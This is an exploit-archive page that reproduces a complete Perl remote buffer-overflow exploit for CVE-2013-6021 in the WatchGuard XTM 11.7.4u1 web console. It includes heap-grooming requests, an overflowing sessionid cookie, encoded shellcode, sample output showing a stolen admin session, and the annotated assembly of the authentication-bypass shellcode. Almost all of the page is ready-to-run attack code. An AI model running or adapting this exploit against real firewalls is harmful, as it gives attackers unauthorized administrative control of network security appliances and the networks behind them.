Lucene search

K
zdtSt3n1337DAY-ID-21417
HistoryOct 29, 2013 - 12:00 a.m.

WatchGuard Firewall XTM 11.7.4u1 - Remote Buffer Overflow

2013-10-2900:00:00
st3n
0day.today
45

EPSS

0.125

Percentile

95.5%

Exploit for hardware platform in category remote exploits

#!/usr/bin/perl -w
# Exploit Title: WatchGuard Firewall XTM version 11.7.4u1 - Remote buffer overflow exploit ~ sessionid cookie
# Date: Oct 18 2013
# Exploit Author: [email protected] (a.k.a. [email protected])
# Vendor Homepage: http://www.watchguard.com
# Version: <= 11.7.4u1
# Tested on: XTMv
# CVE : CVE-2013-6021
 
=header
*********************************************************************
**  WatchGuard Firewall XTM version 11.7.4u1                       **
**  Remote buffer overflow exploit ~ sessionid cookie              **
*********************************************************************
**                                                                 **
**            Author:  [email protected]                      **
**              Blog:  http://funoverip.net                        **
**               CVE:  CVE-2013-6021                               **
**                                                                 **
*********************************************************************
**                                                                 **
**  - Bug, exploit & shellcode details available on:               **
**    http://funoverip.net/?p=1519                                 **
**                                                                 **
**  - Decoded shellocde can be found at the end of this file       **
**                                                                 **
*********************************************************************
=cut
 
 
=output sample
 
[*] Sending HTTP ping request to https://192.168.60.200:8080 : OK. Got 'pong'
[*] Checking sessionid cookie for bad chars
[*] Checking shellcode for bad chars
[*] Heap messaging (request 1) : ...
[*] Sending authentication bypass shellcode (request 2)
[*] HTTP Response : 
 
--------------------------------------------------------------------------------
HTTP/1.1 200 OK
Content-type: text/xml
Set-Cookie: sessionid=6B8B4567327B23C6643C98696633487300000014
Date: Sun, 27 Oct 2013 21:11:38 GMT
Server: none
Content-Length: 751
 
<?xml version="1.0"?>
<methodResponse>
  <params>
    <param>
      <value>
        <struct>
          <member><name>sid</name><value>6B8B4567327B23C6643C98696633487300000014</value></member>
          <member><name>response</name><value></value></member>
          <member>
            <name>readwrite</name>
            <value><struct>
              <member><name>privilege</name><value>2</value></member>
              <member><name>peer_sid</name><value>0</value></member>
              <member><name>peer_name</name><value>error</value></member>
              <member><name>peer_ip</name><value>0.0.0.0</value></member>
            </struct></value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodResponse>
--------------------------------------------------------------------------------
 
[*] Over.
=cut
 
use warnings;
use strict;
use IO::Socket::SSL;
 
# host and port of the XTM web console
my $host = "192.168.60.200";
my $port = "8080";
 
# Shellcode (watch out bad chars)
my $shellcode = 
    # shellcode: bypass password verification and return a session cookie
    "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIMQJdYHfas030mQ" .
    "KusPQWVoEPLKK5wtKOKOkOnkMM4HkO9okOoOePXpwuuXOsJgs4LMbWUTk1KNs04PUX" .
    "eXD4tKTyvgQeZNGIaOgtptC78kM7X8VXGK6fWxnmPGL0MkzTKoVegxmYneidKNKOkO" .
    "9WK5HxkNYoyoUPuP7pGpNkCpvlk9k5UPIoKO9oLKnmL4KNyoKOlKk5qx9nioioLKNu" .
    "RLKNioYoMY3ttdc4NipTq4VhMYTL14NazLxPERuP30oqzMn0G54OuPmkXtyOeUtHlK" .
    "sevhnkRrc8HGW47TeTwpuPEPgpNi4TwTMnNpZyuTgxKOn6K90ELPNkQU7xLKg0r4oy" .
    "ctQ45TlMK35EISKOYoMYWt14MnppMfUTWxYohVk3KpuWMY0Empkw0ENXwtgpuPC0lK" .
    "benpLKSpF0IWPDQ4Fh30s0Wp5PlMmCrMo3KO9olIpTUts4nic44dMnqnyPUTTHKOn6" .
    "LIbeLXSVIW0EMvVb5PKw3uNt7pgpWpuPiWpEnluPWpwpGpOO0KzN34S8kOm7A";
 
# Shellocde max length
my $shellcode_max_len = 2000;
 
 
# set our shellcode address into EAX (expected by alpha2 encoder)
my $alpha2_ecx24 =
        "\x8b\x41\x24" .        # mov    eax, [ecx+0x24]
        "\x29\xd0" .            # sub    eax, edx ; (edx is updated by nopsled)
        "\x83\xc0\x40" .        # add    eax, 0x40
        "\x83\xe8\x35";     # sub    eax, 0x35
        # for the reader, "add eax, edx" contains bad chars. 
    # This is the reason why the nopsled decrement EDX and that we use "dec eax, edx"
 
 
# flush after every write
$| = 1;
 
# HTTP POST data for authentication request
my $login_post_data =
"<methodCall><methodName>login</methodName><params><param><value><struct><member>" .
"<name>password</name><value><string>foo</string></value></member><member>" .
"<name>user</name><value><string>admin</string></value></member></struct></value>" .
"</param></params></methodCall>";
 
# list of bad characters
my @badchars = (
    "\x00",
        "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\x0a",
        "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11", "\x12", "\x13",
        "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a", "\x1b", "\x1c",
        "\x1d", "\x1e", "\x1f",
        "\x20", "\x22", "\x26", "\x27", "\x3b" # cookie delimiters
);
 
 
# function: Check input for badchars.
sub check_badchars {
    my $in = shift;
    my $stop = 0;
    for(my $i=0; $i<length($in); $i++){
        my $c = substr($in,$i,1);
        if($c ~~ @badchars){
            printf " - bad char '0x%02x' found\n", ord($c);
            $stop = 1;
        }
    }
    if($stop){ exit; }
}
 
# function: testing remote connectivity with the appliance
# send HTTP "ping" request and expect "pong" reply
sub testing_connectivity {
 
    print "[*] Sending HTTP ping request to https://$host:$port : ";
        my $sock = IO::Socket::SSL->new( PeerHost => "$host", PeerPort => "$port") or die "SSL: $!";
 
        if($sock){
        my $req = 
            "GET /ping HTTP/1.0\r\n" .
            "Host:$host:$port"  . "\r\n" .
            "\r\n";     
 
        # send ping
        print $sock $req;
        my $resp='';
        my $pong = 0;
        # read answer
        while (my $line = <$sock>){
            if($line =~ /pong/) { $pong = 1;}
            $resp .= $line;
        }
        # got pong ?
        if($pong){
            print "OK. Got 'pong'\n";
        }else{
            print "ERROR. Expecting 'pong' response but received :\n";
            print $resp;
            exit;
        }
                close $sock;
        }else{
                print "ERROR: Socket failed !\n";
                exit;
        }
}
 
 
# function: HTTP request used for HEAP messaging phase
sub building_request_step1 {
    my $sessionid = "A" x 120; # do not overflow now
        my $req =
                "POST /agent/ping HTTP/1.1\r\n" .
                "Host:$host:$port"  . "\r\n" .
                "User-Agent: " . "a" x 100 . "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0  " . "a" x 100  . "\r\n" .
                "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, " . "a" x 992 . "\r\n" .
                "Accept-Language: en-gb,en;q=0.5" . "a" x 200 . "\r\n" .
                "Cookie: sessionid=" . $sessionid . "\r\n" .
        "Accept-Charset: utf-8\r\n" .
        "Content-Type: application/xml\r\n" .
                "Content-Length: 3\r\n" .
                "\r\n" .
                "foo" ;
    return $req;
}
 
# function: HTTP request used for buffer overflow exploitation
sub building_request_step2 {
 
    my $sessionid = 
        "A" x 140 .     # junk
        "\x44\x85" ;    # off by 2 overflow to reach  0x8068544 (on the heap).
                # 0x8068544 contains a "good memory chunk" which satisfy all rules
 
    print "[*] Checking sessionid cookie for bad chars\n";
    check_badchars($sessionid);
 
        my $req =
                "POST /agent/ping HTTP/1.1\r\n" .
                "Host:$host:$port"  . "\r\n" .
                "User-Agent: " . "a" x 1879  . "\r\n" .
                "Connection: keep-alive"  . "a" x 22 . 
                "\x4a" x ($shellcode_max_len - length($shellcode) - length($alpha2_ecx24))  .   # nops
                $alpha2_ecx24 . # set EAX to shellcode addr
                $shellcode .    # shellcode
                "\r\n" .
        "Accept-Encoding: identity," . "b" x 1386 . "\r\n" .
                "Cookie: sessionid=" . $sessionid . "\r\n" .
        "Accept-Charset: utf-8\r\n" .
        "Content-Type: application/xml\r\n" .
                "Content-Length: " . length($login_post_data). "\r\n" .
                "\r\n" .
                $login_post_data ;
 
    return $req;
}
 
# function: Send an HTTP request.
sub send_http_request {
 
    my $req = shift;
    my $read_answer = shift || 0;
    my $http_resp='';
 
    # Open socket
    my $sock = IO::Socket::SSL->new( PeerHost => "$host", PeerPort => "$port") or die "SSL: $!";
 
    if($sock){
                print $sock $req;
 
        # do we need the answer ?
        if ($read_answer){
            my $is_chunked = 0;
            my $is_body = 0;
                    while(my $line = <$sock>){
 
                if($line =~ /Transfer-Encoding: chunked/){
                    $is_chunked = 1;
                    next;
                }
                 
                if($line eq "\r\n"){ 
                    # we reached the body 
                    if($is_chunked){
                        $line = <$sock>; # chunk length
                        $line =~ s/\r\n//g;
                        $sock->read(my $data, hex($line)); # read chunk
                        $http_resp .= sprintf "Content-Length: %d\r\n\r\n", hex($line);
                        $http_resp .= $data;
                        close $sock ;
                        return $http_resp;
                    }
                }
                 
                $http_resp .= $line;
            }
        }
                close $sock;
    }else{
            print "ERROR: Socket failed !\n";
            exit;
    }
    return $http_resp;
}
 
 
 
### MAIN ####
 
 
# print banner
print << 'EOF';
**********************************************************
**  WatchGuard Firewall XTM version 11.7.4u1            **
**  Remote buffer overflow exploit ~ sessionid cookie   **
**********************************************************
**                                                      **
**  Author:  [email protected]                     **
**    Blog:  http://funoverip.net                       **
**     CVE:  CVE-2013-6021                              **
**                                                      **
**********************************************************
**                                                      **
**  Bug, exploit & shellcode details available on:      **
**  http://funoverip.net/?p=1519                        **
**                                                      **
**********************************************************
 
EOF
 
 
# Send an HTTP ping request
testing_connectivity();
 
# building HTTP requests
my $request_step1 = building_request_step1();
my $request_step2 = building_request_step2();
 
# Testing shellcode against bad cahrs
print "[*] Checking shellcode for bad chars\n";
check_badchars($shellcode);
 
# Fillin the heap
print "[*] Heap messaging (request 1) : ";
for(my $i=0 ; $i<3 ; $i++){
    send_http_request($request_step1);
    print ".";
}
print "\n";
 
# Exploiting
print "[*] Sending authentication bypass shellcode (request 2)\n";
my $resp = send_http_request($request_step2,1);
print "[*] HTTP Response : \n\n";
 
print "-" x 80 . "\n";
print $resp;
print "-" x 80 . "\n\n";
 
 
print "[*] Over.\n";
exit;
 
 
=shellcode
;------------------------------------------------
; shellcode-get-gession.asm  
; by Jerome Nokin for XTM(v) 11.7.4 update 1
;------------------------------------------------
 
global _start
_start:
 
 
    ; current EBP/ESP values
    ;-------
    ; esp            0x3ff0b518    
    ; ebp            0x3ff0b558    
 
 
    ; first, fix the stack in HTTP_handle_request function
    ; -------
    ; esp           0x3ff0b6f0  
    ; ebp           0x3ffffcb8  
 
    ; we'll do
    ;---------
    ;$ perl -e 'printf "%x\n", 0x3ff0b518 + 472'
    ; 3ff0b6f0
    ; ESP = ESP + 472
    ;$ perl -e 'printf "%x\n", 0x3ff0b558 + 1001312'
    ; 3ffffcb8
    ; EBP = EBP + 1001312
 
    ; fix ESP/EBP
    add     esp, 472
    add     ebp, 1001312
 
 
    ; fixing overwritten ptrs
 
 
    ; finding initial malloc pointer v50 (overwritten)
    ; 0805f000-08081000 rwxp 00000000 00:00 0          [heap]
 
    ; v54 and v55 have not been overwritten and contain *(v50+0x10) and *(v50+0x14)
 
    ; example inside gdb
    ;b *0x8051901
    ;b *0x80519c0
    ;(gdb) x/xw $ebp-0xf8       <===== v55
    ;0x3ffffbc0:    0x08065b90
    ;(gdb) x/xw $ebp-0xfc           <===== v54                            
    ;0x3ffffbbc:    0x08067fe0
    ;(gdb) find /w 0x08060000, 0x0806ffff, 0x08067fe0, 0x08065b90   <==== search seq on heap
    ;0x8063b48
    ;1 pattern found.
    ;(gdb) x/xw 0x8063b48-0x10  <==== initial malloc ptr (v50) is at 0x8063b48-0x10
    ;0x8063b38: 0x00000001
 
    ; search this sequence on the heap
    mov eax, [ebp-0xfc] ; v54
    mov ebx, [ebp-0xf8] ; v55
 
    mov edi, 0x0805f000     ; heap start addr
loop:
    add edi, 4
    lea esi, [edi+4]
    cmp     esi, 0x08081000     ; edi is out of the heap ?
    je  loop_end
    cmp [edi], eax      ; cmp v54
    jne loop
    cmp     [edi+4], ebx        ; cmp v55
    je  found
    jmp loop
     
loop_end:
    mov eax, 0x08063b38     ; default value (should not be reached)
 
found:
    lea eax, [edi-0x10]     ; eax = v50 address (malloc ptr addr)
     
        ; EBP-0x10c 
        ; saved content of v50 (malloc) = ebp-0x10c 
        mov     [ebp-0x10c], eax
 
        ; reset EBX (see following)
        ; 805185c:       e8 95 43 00 00          call   8055bf6 <wga_signal+0x784>
        ; 8051861:       81 c3 93 c7 00 00       add    ebx,0xc793
        ; ....
        ; 8055bf6:       8b 1c 24                mov    ebx,DWORD PTR [esp]
        ; 8055bf9:       c3                      ret    
        mov     ebx, 0x805dff4
 
    ; EBP-0x108
    ; just reset it to 0
    mov     dword [ebp-0x108], 0x0
     
    ; EBP-0x100
    ;  80519b1:       8b 40 0c                mov    eax,DWORD PTR [eax+0xc]
    ;  80519b4:       89 85 00 ff ff ff       mov    DWORD PTR [ebp-0x100],eax
    mov eax, [eax+0xc]
    mov [ebp-0x100], eax
 
 
    ; simulate call to login function. copy args
    mov ecx, [ebp-0x10c]
    mov eax, [ebp-0x198]
    mov edx, [ebp-0x194]
    mov [esp+0x4],eax
    mov [esp+0x8],edx
    mov [esp],ecx
 
 
    ; Now setup the login function stack
 
    ; current esp/ebp
    ; ----------------
        ; esp           0x3ff0b6f0      
        ; ebp           0x3ffffcb8 
 
    ; we want to land into the login function
    ; ---------------------------------------
    ; esp            0x3ff0b420
    ; ebp            0x3ff0b6e8
 
    ; we'll do
    ;---------
    ; $ perl -e ' printf "%x\n", 0x3ff0b6f0 - 720'
    ; 3ff0b420
    ; ESP = ESP - 720
    ; $ perl -e ' printf "%x\n", 0x3ffffcb8 - 1000912'
    ; 3ff0b6e8
    ; EBP = EBP - 1000912
 
    ; stack fix
    sub     esp, 720
    sub     ebp, 1000912
 
 
    ; EBX -> .GOT (same as above btw)
    mov ebx, 0x805dff4
 
 
        ; simulate "decode HTTP content" fct, at top of the login function
        mov     edx, [ebp+0x8]
        mov     edx, [edx+0x8]
        mov     dword [esp+0x4], 0x0            ; no content_encoding header
        mov     [esp], edx
        mov     esi, 0x0804d990
        call    esi                             ; decode content
        mov     [ebp-0x70],eax                  ; int decoded_content; // [sp+258h] [bp-70h]@1
 
 
    ; simulate "search remote_address"
    mov eax, [ebp+0x8]
    mov eax, [eax+0x14]
    mov [esp+0x4],eax
    lea eax,[ebx-0x3ceb]
    mov [esp],eax
    mov esi, 0x804b670          ;FCGX_GetParam
    call    esi
    add eax, 0x7            ; remove '::ffff:'  ====> to improve
    mov [ebp-0x60],  eax
 
 
    ; is_admin = 4
    mov dword [ebp-0x48], 0x4
 
 
    ; simulate "search req_user value"
    mov eax, [ebp-0x70]
    mov     eax, [eax+0x50]
    mov dword [esp+0x8],0x0
    lea edx,[ebx-0x3c93]
    mov [esp+0x4],edx
    mov [esp],eax   
    mov esi, 0x804c07e
    call    esi             ; <[email protected]+0x3de>
    mov [ebp-0x68],eax
 
 
    ; v49 = 2 (ipv4)
    mov word [ebp-0x5a], 0x2        ; unsigned __int16 v49; // [sp+26Eh] [bp-5Ah]@1
 
    ; challenge
    mov dword [ebp-0x6c], 0x0       ; const char *req_challenge; // [sp+25Ch] [bp-6Ch]@1
 
    ; set v43 to null
    mov dword [ebp-0x74], 0x0       ;int v43; // [sp+254h] [bp-74h]@1
 
 
    ; ok, we are ready to jump in the middle of the "login" function
    ; right after the password verification
 
    ; jump here
    ; 804ee4b:       c7 44 24 04 00 12 00    mov    DWORD PTR [esp+0x4],0x1200
    ; 804ee52:       00 
    ; 804ee53:       c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
    ; 804ee5a:       e8 11 c4 ff ff          call   804b270 <[email protected]>
 
    mov edi, 0x804ee4b
    jmp edi
=cut

#  0day.today [2018-03-03]  #

EPSS

0.125

Percentile

95.5%